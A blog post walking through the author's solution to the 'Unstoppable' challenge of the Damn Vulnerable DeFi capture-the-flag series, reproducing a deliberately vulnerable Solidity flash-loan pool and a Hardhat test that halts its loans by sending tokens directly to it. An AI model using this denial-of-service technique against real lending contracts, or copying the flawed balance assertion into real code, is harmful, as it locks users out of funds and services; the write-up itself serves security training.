DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Damn Vulnerable Defi: 1. Unstoppable

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.


There's a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans... You start with 100 DVT tokens in balance.

Objective of CTF:

  • Break the flash loan (denial of service) such that no one will be able to take loans anymore.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
  function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {
  UnstoppableLender private immutable pool;
  address private immutable owner;

  constructor(address poolAddress) {
    pool = UnstoppableLender(poolAddress);
    owner = msg.sender;
  }

  // Pool will call this function during the flash loan
  // This will give `amount` tokens from this contract back to the pool
  function receiveTokens(address tokenAddress, uint256 amount) external {
    require(msg.sender == address(pool), "Sender must be pool");
    require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
  }

  function executeFlashLoan(uint256 amount) external {
    require(msg.sender == owner, "Only owner can execute flash loan");
    pool.flashLoan(amount);
  }
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {
  IERC20 public immutable damnValuableToken;
  uint256 public poolBalance;

  constructor(address tokenAddress) {
    require(tokenAddress != address(0), "Token address cannot be zero");
    damnValuableToken = IERC20(tokenAddress);
  }

  function depositTokens(uint256 amount) external nonReentrant {
    require(amount > 0, "Must deposit at least one token");

    // transfer token from sender, sender must have first approved them.
    damnValuableToken.transferFrom(msg.sender, address(this), amount);
    poolBalance = poolBalance + amount;
  }

  function flashLoan(uint256 borrowAmount) external nonReentrant {
    require(borrowAmount > 0, "Must borrow at least one token");

    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

    // ensured by the protocol via the `depositTokens` function
    assert(poolBalance == balanceBefore);

    // send tokens to the borrower
    damnValuableToken.transfer(msg.sender, borrowAmount);

    // receives the lent tokens back from the borrower
    IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
  }
}
Enter fullscreen mode Exit fullscreen mode

The Attack

Let us examine how this flash loan works. Users are expected to deposit tokens with depositTokens function, which calls transferFrom function as we know from ERC20. Of course, user must have approved the lender tokens so that it can call transferFrom.When someone wants to take a loan, they simply call flashLoan to request a given amount.

The problematic looking line is the following:

  • assert(poolBalance == balanceBefore)

The pool balance is not taken from token.balanceOf(poolAddress) but instead kept within the lender storage with the poolBalance variable. You may have heard of "single source of truth" practice in programming; here, we have two different variable that are tracking the pool balance.

Unfortunately, poolBalance does not take into account transfers via direct token functions, without using the depositTokens function! So, if we were to transfer some tokens via transfer function of ERC20, that will break assertion at the aforementioned line, rendering the flashLoan function useless.

Proof of Concept

Here is a Hardhat test to demonstrate the attack.

describe('Damn Vulnerable Defi 1: Unstoppable', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;
  let victim: SignerWithAddress;

  let token: DamnValuableToken;
  let pool: UnstoppableLender;
  let receiverContract: ReceiverUnstoppable;

  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000'); // pool has 1M * 10**18 tokens
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100'); // attacker has 100 tokens

  before(async () => {
    [owner, attacker, victim] = await ethers.getSigners();
    token = await ethers.getContractFactory('DamnValuableToken', owner).then(f => f.deploy());
    pool = await ethers.getContractFactory('UnstoppableLender', owner).then(f => f.deploy(token.address));
    receiverContract = await ethers.getContractFactory('ReceiverUnstoppable', victim).then(f => f.deploy(pool.address));

    // deposit tokens to the pool
    await token.approve(pool.address, TOKENS_IN_POOL);
    await pool.depositTokens(TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);

    // give attacker balance
    await token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);
    expect(await token.balanceOf(attacker.address)).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);

    // show it's possible for some other user to take out a flash loan
    await receiverContract.executeFlashLoan(10);
  });

  it('should rek the flash loan', async () => {
    // send some money without `deposit`
    token.connect(attacker).transfer(pool.address, ethers.utils.parseEther('1'));
  });

  after(async () => {
    // it should no longer be possible to execute flash loans
    await expect(receiverContract.executeFlashLoan(10)).to.be.reverted;
  });
});
Enter fullscreen mode Exit fullscreen mode

Oldest comments (0)